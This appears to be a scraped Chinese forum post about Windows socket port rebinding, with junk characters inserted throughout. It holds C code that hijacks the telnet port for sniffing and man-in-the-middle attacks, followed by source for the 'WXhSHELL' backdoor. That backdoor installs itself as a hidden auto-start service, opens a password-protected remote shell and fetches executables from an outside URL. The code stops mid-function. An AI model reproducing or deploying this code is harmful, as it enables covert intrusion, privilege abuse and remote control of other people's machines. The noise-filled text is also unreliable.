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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NH<gU_s8{9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g6t"mkMY L  
/&#XhrT  
  saddr.sin_family = AF_INET; lA(Q@yEW  
/'2O.d0}.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Wm~` ~P  
Dn9w@KO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ocbB&  
uP3_FX: e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^)!F9h+  
w>fdQ!RdP  
  这意味着什么?意味着可以进行如下的攻击: /PBaIoJE  
eK_*2=;XRW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #t8{R~y"gv  
`N//A}9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]Y>h3T~  
U6ZR->:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mbRq JT>@  
!rDdd%Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D%mXA70  
W1Lr_z6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +6$g! S5{  
vr^~yEr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qLL,F  
x&Vm!,%:1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AmPMY:1i"  
0kQPJWF  
  #include AE`We$!  
  #include X[s8X!#  
  #include ]?1Y e8>Y<  
  #include    SnlyUP~P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Pz#7h*;cw.  
  int main() 9Ya<My  
  { 1 2++RkL#  
  WORD wVersionRequested; up3O|lj4  
  DWORD ret; V-I(WzR9y  
  WSADATA wsaData; XfE?C:v   
  BOOL val; lU^;Z 6f  
  SOCKADDR_IN saddr; {CG_P,FO  
  SOCKADDR_IN scaddr; r=/;iH?UH  
  int err; aJL^AG  
  SOCKET s; AsS$C&^  
  SOCKET sc; 5 8-e^.  
  int caddsize; f %lD08Sl  
  HANDLE mt; W6T|iZoV"r  
  DWORD tid;   "vYE+   
  wVersionRequested = MAKEWORD( 2, 2 ); /yz=Cjoz  
  err = WSAStartup( wVersionRequested, &wsaData ); UtB6V)YI  
  if ( err != 0 ) { RgorkZlVM  
  printf("error!WSAStartup failed!\n"); l\AMl \  
  return -1; jN-vY<?h]  
  } Tu{&v'!j6  
  saddr.sin_family = AF_INET; :WI.LKlo~  
   p(xC*KWB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |6UtW{2I/  
[ xOzzp4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;= j@, yu  
  saddr.sin_port = htons(23); k:2QuG^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EV#MQM  
  { tt?58dm|  
  printf("error!socket failed!\n"); -7/s]9o'  
  return -1; )#a[-.OI  
  } 8zLY6@  
  val = TRUE; !Fw?H3X!"q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KfBTL!0#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _rV5E  
  { 9YsR~SM  
  printf("error!setsockopt failed!\n"); F62V 3 Xy  
  return -1;  nVu&/  
  } f)c~cJz<q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; di)*-+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9!9Z~ /*m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZvYLL{>}w  
j*e6 vX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4k/V BZB  
  { lf>*Y.!@me  
  ret=GetLastError(); =.]l*6W V  
  printf("error!bind failed!\n"); yc2/~a_ Gx  
  return -1; 1Gt/Tq$_b  
  } }R3=fbe,\  
  listen(s,2); +$xeoxU>;  
  while(1) J$4wL F3  
  { R1F5-#?'E  
  caddsize = sizeof(scaddr); {7!UQrm<  
  //接受连接请求 )eUW5 tS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T5Q{{@Q  
  if(sc!=INVALID_SOCKET) 'Y$R~e^Y?  
  { +jg9$e"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JOjoiA  
  if(mt==NULL) 5Zmw} M  
  { ml@2wGyf  
  printf("Thread Creat Failed!\n"); tNsPB6 Z  
  break; "fg](Cp[z  
  } cJM:  
  } <APB11  
  CloseHandle(mt); mrm^e9*Z  
  } =X?\MVWB  
  closesocket(s); ) \Y7&  
  WSACleanup(); f:g,_|JD$  
  return 0; d=,%= @  
  }   1h*)@  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9ukg}_Hx  
  { ]M)O YY  
  SOCKET ss = (SOCKET)lpParam; 1 )}=bhT  
  SOCKET sc; j1SMeDDM ~  
  unsigned char buf[4096]; k5kdCC0FCk  
  SOCKADDR_IN saddr; -(`OcGM'L  
  long num; _3]][a,  
  DWORD val; {_(\` >  
  DWORD ret; DC1'Kyk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =0 @&GOq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &t5{J53  
  saddr.sin_family = AF_INET;  tvXW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #j@71]GI  
  saddr.sin_port = htons(23); V{|}}b?w?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mh<=[J,%p  
  { eI1GXQ%  
  printf("error!socket failed!\n"); aNyvNEV3C  
  return -1; AamVms  
  } =9kN_:-  
  val = 100; h._nK\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k{gLMl  
  { :K\mN/ x  
  ret = GetLastError(); O62b+%~F  
  return -1; pV6d Id  
  } yq+!czlZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z/^  u  
  { &a/__c/l  
  ret = GetLastError(); 1!pa;$L  
  return -1; r>jC_7  
  } }HE6aF62O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sC[yI Up  
  { ^kS T  
  printf("error!socket connect failed!\n"); .(J?a"  
  closesocket(sc); {lth+{&L#  
  closesocket(ss); `mye}L2I  
  return -1; CG'.:` t  
  } xEuN   
  while(1) T#pk]c6Q  
  { `%3 /   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .^$YfTabq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JQ :Ri  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OB ~X/  
  num = recv(ss,buf,4096,0); ExHKw~y9  
  if(num>0) IV lf=k  
  send(sc,buf,num,0); ) 'j:  
  else if(num==0) [~:-&  
  break; fYE(n8W3  
  num = recv(sc,buf,4096,0); IrMl:+t\  
  if(num>0) RE.r4uOJg  
  send(ss,buf,num,0); 9Lh|DK,nV/  
  else if(num==0) X0 -IRJ[  
  break; dD<fn9t  
  } \c[IbL07  
  closesocket(ss); ]|_\xO(  
  closesocket(sc); yqSs,vz  
  return 0 ; "RVcA",  
  } X7L8h'(@  
zrVC8Wb  
6h3HDFS7s  
========================================================== u*  
azjEq$<M  
下边附上一个代码,,WXhSHELL y2O4I'/5<  
(Qgde6  
========================================================== [![%9'+P  
kt4d; 4n  
#include "stdafx.h" 3:%QB9qc]'  
j@Qg0F  
#include <stdio.h> Og;-B0,A  
#include <string.h> EBtLzbj  
#include <windows.h> yfU<UQ!1  
#include <winsock2.h> Yxv9  
#include <winsvc.h> RtG}h[k/X  
#include <urlmon.h> %!ebO*8q  
b| SE<\  
#pragma comment (lib, "Ws2_32.lib") K ~44i  
#pragma comment (lib, "urlmon.lib") &rDM<pO #-  
gPC*b+  
#define MAX_USER   100 // 最大客户端连接数 LJX-AO.4  
#define BUF_SOCK   200 // sock buffer )} DUMq7  
#define KEY_BUFF   255 // 输入 buffer pf4 ^Bk}e  
eT'nl,e|  
#define REBOOT     0   // 重启 Vtppuu$  
#define SHUTDOWN   1   // 关机 9+,R`v  
t6c<kIQ:-O  
#define DEF_PORT   5000 // 监听端口 v){ .Z^_C  
Nr2C@FU:0  
#define REG_LEN     16   // 注册表键长度 PX|=(:(k  
#define SVC_LEN     80   // NT服务名长度 E{HY!L[  
q P ;A}C  
// 从dll定义API &h*S y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F_xbwa*=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #S%Q*k<hw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y]%w)4PS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;X,1&#I  
6.t',LTB  
// wxhshell配置信息 I2(zxq&2M\  
struct WSCFG { :a:[.  
  int ws_port;         // 监听端口 d2X[(3  
  char ws_passstr[REG_LEN]; // 口令 [<`SfE  
  int ws_autoins;       // 安装标记, 1=yes 0=no |%~+2m  
  char ws_regname[REG_LEN]; // 注册表键名 QrApxiw  
  char ws_svcname[REG_LEN]; // 服务名 zF4[}*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IPuA#C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `P Xz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wOB azWa   
int ws_downexe;       // 下载执行标记, 1=yes 0=no reo{*) %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (I@bkMp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E^w:KC2@  
avmcw~ TF  
}; 2/,0iwj-  
uH3D{4   
// default Wxhshell configuration 1exl0]-  
struct WSCFG wscfg={DEF_PORT, M>jtFP <S  
    "xuhuanlingzhe", 3Q/#T1@  
    1, {;2i.m1  
    "Wxhshell", $- +/$!  
    "Wxhshell", ~-a'v!  
            "WxhShell Service", wPbkUVO  
    "Wrsky Windows CmdShell Service", @{h?+ d  
    "Please Input Your Password: ", %7Kooq(i  
  1, xr0haN\p"  
  "http://www.wrsky.com/wxhshell.exe", $o@R^sJ  
  "Wxhshell.exe" +Taa!hfys  
    }; ]E3U J!!  
qDWsvx]  
// 消息定义模块 HG/p$L*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =TR,~8Z|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gf8s?l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -{h   
char *msg_ws_ext="\n\rExit."; WS& kx~oQ  
char *msg_ws_end="\n\rQuit."; DN4#H`  
char *msg_ws_boot="\n\rReboot..."; %}2@rLP  
char *msg_ws_poff="\n\rShutdown..."; J H.K.C(  
char *msg_ws_down="\n\rSave to "; zr76_~B1u  
SFH-^ly&D  
char *msg_ws_err="\n\rErr!"; wx=0'T-[  
char *msg_ws_ok="\n\rOK!"; =1dI>M>tm  
^s\3/z>b4!  
char ExeFile[MAX_PATH]; ^EVc95|Z  
int nUser = 0; {Hr$wa~  
HANDLE handles[MAX_USER]; I PE}gp  
int OsIsNt; _eLWQ|6Fx  
ashcvn~z  
SERVICE_STATUS       serviceStatus; fJjgq)9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Oc9#e+_&  
P[t$\FS  
// 函数声明 '+<(;2Z vL  
int Install(void); l2b{u GE  
int Uninstall(void); R)!`JKeO/  
int DownloadFile(char *sURL, SOCKET wsh); t?;T3k[RM  
int Boot(int flag); Dj-s5pAW  
void HideProc(void); [%HIbw J  
int GetOsVer(void); ,]R8(bD)  
int Wxhshell(SOCKET wsl); fYebB7Pv  
void TalkWithClient(void *cs); eT"Uxhs-}  
int CmdShell(SOCKET sock); fbZibcQ%k  
int StartFromService(void); OH<?DcfeL  
int StartWxhshell(LPSTR lpCmdLine); %IL6ix  
kfC0zd+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >KG E-Yzj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4{9d#[KW  
>5~7u\#9  
// 数据结构和表定义 6FfOH<\z6i  
SERVICE_TABLE_ENTRY DispatchTable[] = }:iBx  
{ NTs;FX~g[  
{wscfg.ws_svcname, NTServiceMain}, wh 0<Uv  
{NULL, NULL} v4?iOD  
}; ^Cz YDq  
]kktoP|D  
// 自我安装 B%<e FFV\  
int Install(void) "oJ(J{Jat  
{ Ft%hh|$5y  
  char svExeFile[MAX_PATH]; HN5W@5m: .  
  HKEY key; mkvvNm3  
  strcpy(svExeFile,ExeFile); jyW[m,#(go  
1S%k  
// 如果是win9x系统,修改注册表设为自启动 "u}9@}*  
if(!OsIsNt) { @^nu #R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jRkC/Lw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bv?0.{Z  
  RegCloseKey(key); @b!"joEy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A3P9.mur  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k/Mp6<?C:  
  RegCloseKey(key); ~M ?|Vn  
  return 0; O^{1RV3:,T  
    } t7#lsd`_  
  } WbjF]b\  
} #/J 'P[z  
else { upn8n vy4(  
{sN"( H4$  
// 如果是NT以上系统,安装为系统服务 lpQP"%q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TZ^LA L'8_  
if (schSCManager!=0) a,'Cyv">  
{ <2Y0{ 8)  
  SC_HANDLE schService = CreateService 6=|&tE  
  ( t\U$8l_;  
  schSCManager, 2iXoj&3e  
  wscfg.ws_svcname, v<rF'D2  
  wscfg.ws_svcdisp, <SXZx9A!  
  SERVICE_ALL_ACCESS, +Al>2~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =7[)'  
  SERVICE_AUTO_START, jThbeY[  
  SERVICE_ERROR_NORMAL, .e[Tu|qo  
  svExeFile, eVy2|n9rH  
  NULL, <3 @}Lj  
  NULL, $7gB_o$zz  
  NULL, I{.HO<$7D}  
  NULL, Uf,fX/:!  
  NULL vX1uR]A[  
  ); ,j;PRJ  
  if (schService!=0) 9$WJ"]  
  { =v2%Vs\7k  
  CloseServiceHandle(schService); +Tak de%~  
  CloseServiceHandle(schSCManager); #0 y <a:}R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c cG['7  
  strcat(svExeFile,wscfg.ws_svcname); f>iuHR*EXB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w[fDk1H)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :uCdq`SaQl  
  RegCloseKey(key); ?A=b6Um  
  return 0; tbj=~xYf  
    } Z}Cqd?_')  
  } -Q[g/%  
  CloseServiceHandle(schSCManager); 9{J?HFw*;  
} mVf.sA8  
} mX_)b>iW  
Y^lQX~I2{  
return 1; N_'+B+U?  
} #a}N"*P  
s"mFt{Y  
// 自我卸载 L=A\ J^%  
int Uninstall(void) =3+L#P=i9  
{ l:e9y$_)  
  HKEY key; \ XH@b6{  
VyZV (k  
if(!OsIsNt) { +t\^(SJ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XI}I.M  
  RegDeleteValue(key,wscfg.ws_regname); mY2:m(9"5  
  RegCloseKey(key); D u_$C[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  v4<j   
  RegDeleteValue(key,wscfg.ws_regname); Zw=G@4xoU  
  RegCloseKey(key); |$w*RI0C  
  return 0; Z.jCera.  
  } 3ut_Bt\  
} `ut)+T V  
} }brr ) )  
else { _ VKgs]Y  
Qilj/x68  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zeOb Aw1O  
if (schSCManager!=0) >}]H;& l  
{ >ZCo 8aK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z`xyb>$  
  if (schService!=0) !A-;NGxE  
  { |HgfV@Han  
  if(DeleteService(schService)!=0) { oS!/|#m n  
  CloseServiceHandle(schService); S:97B\ u`  
  CloseServiceHandle(schSCManager); ]Y5dl;xrM)  
  return 0; ;/A}}B]y  
  } )1z4q`  
  CloseServiceHandle(schService); MSB%{7'o  
  } 9".Uc8^p/F  
  CloseServiceHandle(schSCManager); 8&Wx@QI  
} "Z9^}  
} wiV&xl  
twbcuaCTW  
return 1; cyc>_$/;1  
} sFx$>:$  
a-Y6w5  
// 从指定url下载文件 w|G~Il  
int DownloadFile(char *sURL, SOCKET wsh) )kA2vX^=Z  
{ 59MR|Jt  
  HRESULT hr; cju@W]!  
char seps[]= "/"; 32KR--mn%  
char *token; PJwEA  
char *file; .HDebi  
char myURL[MAX_PATH]; "o==4?*L  
char myFILE[MAX_PATH]; =tq7z =k  
E3tj/4:L  
strcpy(myURL,sURL); {{zua- F  
  token=strtok(myURL,seps); r`>~Lp`  
  while(token!=NULL) J[+Tj @n'  
  { TAAR'Jz S  
    file=token; a@k.$  
  token=strtok(NULL,seps); 2VMX:&3 5J  
  } lxOqs:b  
(\uA AW"  
GetCurrentDirectory(MAX_PATH,myFILE); 3GINv3_  
strcat(myFILE, "\\"); x 8M#t(hw  
strcat(myFILE, file); `vH&K{   
  send(wsh,myFILE,strlen(myFILE),0); h9Z[z73_a  
send(wsh,"...",3,0); 8!6<p[_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); okh0 _4  
  if(hr==S_OK) I$Eg$q  
return 0; hLn&5jYHvt  
else #mTMt;x  
return 1; Ctj8tK$D  
)+k[uokj  
} jDp]R_i  
[wIKK/O  
// 系统电源模块 -g$O OJB6  
int Boot(int flag) _X?y ,#  
{ z=%IcSx;  
  HANDLE hToken; &08 Tns"  
  TOKEN_PRIVILEGES tkp; `x< 0A  
(V^QQ !:  
  if(OsIsNt) { clC~2:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  3:"AFV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kFnUJM$r  
    tkp.PrivilegeCount = 1; (Z'WR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c}8 -/P=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _we3jzMW  
if(flag==REBOOT) { _32/WQF6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K wQXA'  
  return 0; +}\29@{W  
} O{*GW0}55  
else { }o{!}g9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JN)"2}SE  
  return 0; B ;;cbY  
} y8}"DfU.  
  } MsSoX9A{D  
  else { +:b(%|  
if(flag==REBOOT) { LP8o7%sv!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p0?o<AA%O  
  return 0; AV9:O{  
} P)4x   
else { 89ZDOji?O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i"KL;t[1  
  return 0; AwA1&mh  
} )m)h/_  
} JJ)y2  
K"G(?<>~4c  
return 1; |#!eMJ&0  
} ./2Z?,  
]+FX$+H/A0  
// win9x进程隐藏模块 #fJwC7  4  
void HideProc(void) N.k+AQb  
{ S54gqc1S]  
rR3m' [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EF0Pt  
  if ( hKernel != NULL ) `g2&{)3k  
  { 6{lG1\o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '=-s1c@^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;c nnqT6  
    FreeLibrary(hKernel); ,q/tyGj  
  } G)4 ZK#wz  
ipgN<|`?@  
return; B?!9W@  
} .$n$%|"H-  
w 5!ndu  
// 获取操作系统版本 aViJ   
int GetOsVer(void) 4|I7:~  
{ |qQ{8T%)  
  OSVERSIONINFO winfo; ;,()wH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5XhK#X%:A  
  GetVersionEx(&winfo); i#Ne'q;T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ll 6]W~[ZC  
  return 1; EaJDz`T}  
  else ~r{\WZ.  
  return 0; $(Z]TS$M&  
} G*8+h  
cA2^5'$$  
// 客户端句柄模块 s0_-1VU  
int Wxhshell(SOCKET wsl) ab8oMi`z  
{ m*Q[lr=  
  SOCKET wsh; Q@ykQ  
  struct sockaddr_in client; L?AM&w-cg9  
  DWORD myID; -ryDsq  
Ty g$`\#   
  while(nUser<MAX_USER) ^uKnP>*l  
{ Fc34Y0_A  
  int nSize=sizeof(client); ppPG+[cz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^=aml   
  if(wsh==INVALID_SOCKET) return 1; \9[NH/.Z{  
HTR "mQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x e"4u JO  
if(handles[nUser]==0) f)p>nW?Z  
  closesocket(wsh); a3b2nAIl  
else u^j8 XOT  
  nUser++; ^D% }V-"  
  } *#ob5TBq[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GlXA-p<  
x*5 Ch~<k  
  return 0; D!l [3  
} wrZ7Sr!/V  
e|2vb GQ  
// 关闭 socket  ;Puy A  
void CloseIt(SOCKET wsh) U-wq- GT  
{ M63s(f  
closesocket(wsh); 7.w *+Z>z  
nUser--; Wq=ZU\Y  
ExitThread(0); lGD%R'}  
} 1(#*'xR  
b#?ai3E  
// 客户端请求句柄 fxLE]VJQ  
void TalkWithClient(void *cs) X|lElN  
{ +0oyt?  
c4!c_a2pS  
  SOCKET wsh=(SOCKET)cs; .Um?5wG~i  
  char pwd[SVC_LEN]; ~u O:tL  
  char cmd[KEY_BUFF]; s0~05{  
char chr[1]; {<''OwQF~+  
int i,j; &KOG[tv  
lp37irI:  
  while (nUser < MAX_USER) { JLFFh!J  
J};u25:}  
if(wscfg.ws_passstr) { A{DIp+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WI*^+E&=*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%xED%X9  
  //ZeroMemory(pwd,KEY_BUFF); F]URf&U  
      i=0; t  z +  
  while(i<SVC_LEN) { pXpLL_  
JxMyeo%gv  
  // 设置超时 -z>Z0viA  
  fd_set FdRead; !0!P.Q8>&  
  struct timeval TimeOut; zR3lX}g  
  FD_ZERO(&FdRead); PMz{8 F  
  FD_SET(wsh,&FdRead); []6ShcqJ[v  
  TimeOut.tv_sec=8; vy2*BTU?  
  TimeOut.tv_usec=0; =,/A\F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !%Z)eO~Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P ],)  
V8KTNt%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FthXFxwx$  
  pwd=chr[0]; LP0;n\  
  if(chr[0]==0xd || chr[0]==0xa) { 6.`}&E  
  pwd=0; !R] CmK  
  break; Kd ryl   
  } lzr>WbM{{p  
  i++; :$GL.n-?  
    } RJ=c[nb  
wM2)KM}$  
  // 如果是非法用户,关闭 socket U 3wsWSO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B4\:2hBq  
} ]|((b/L3  
[i<$ZP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _4XoUE\\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ohF?5J,  
-Z/6;2Q  
while(1) { c|R3,<Q]  
`/gEKrhL-  
  ZeroMemory(cmd,KEY_BUFF); u$Pf.#  
f<s'prF  
      // 自动支持客户端 telnet标准   iaaH9X %  
  j=0; UL@5*uiX  
  while(j<KEY_BUFF) { VAF:Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R.T?ZF  
  cmd[j]=chr[0]; ki*79d"$  
  if(chr[0]==0xa || chr[0]==0xd) { "I}'C^gP  
  cmd[j]=0; Y|x6g(b  
  break; WW8YB"  
  } 6/V{>MTZg  
  j++; bz}AO))Hk  
    } xRTg [  
vBCZ/F[  
  // 下载文件 [# tT o;q  
  if(strstr(cmd,"http://")) { pT_e;,KW U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0%&fUz36E6  
  if(DownloadFile(cmd,wsh)) L[QI 5N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "PDSqYA  
  else 63y':g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WW8L~4Zy  
  } ]'  "^M  
  else { -; /@;W  
A Eyr_!G,  
    switch(cmd[0]) { 33v%e  
  F|n$0vQ*  
  // 帮助 9bzYADLI  
  case '?': { YiI:uG!|D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v&CO#vK5.  
    break; b3 %&   
  } Ph! KL\  
  // 安装 jQK2<-HZ3  
  case 'i': { 0t:|l@zB  
    if(Install()) v^lm8/}NO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(G*Yi?;  
    else 1 Q0Yer  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ygkd~g  
    break; fXXm@tMx>  
    } Cn./Naq  
  // 卸载 YRM6\S)py  
  case 'r': { 9B6_eFb  
    if(Uninstall()) ^v'g~+@o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aD2CDu  
    else 8 *(W |J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R2H\;N  
    break; wHN` - 5%  
    } B"E(Y M  
  // 显示 wxhshell 所在路径  JY050FL  
  case 'p': { Velbq  
    char svExeFile[MAX_PATH]; dPdHY&#`  
    strcpy(svExeFile,"\n\r"); I!0$% ]F  
      strcat(svExeFile,ExeFile); yQA"T?  
        send(wsh,svExeFile,strlen(svExeFile),0); enD C#  
    break; DRB YH(  
    } i]^*J1a  
  // 重启 :R|2z`b!  
  case 'b': { r<f-v_bxF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~E:/oV:4 >  
    if(Boot(REBOOT)) i7w}`vs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3bI|X!j  
    else {  k9VQ6A  
    closesocket(wsh); 3 z/O`z  
    ExitThread(0); ?'$. -z:  
    } N(({2'Rr  
    break; r{:la56Xd  
    } 0\ytBxL  
  // 关机 bl=*3qB  
  case 'd': { MgK(gL/&[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [#@p{[?r  
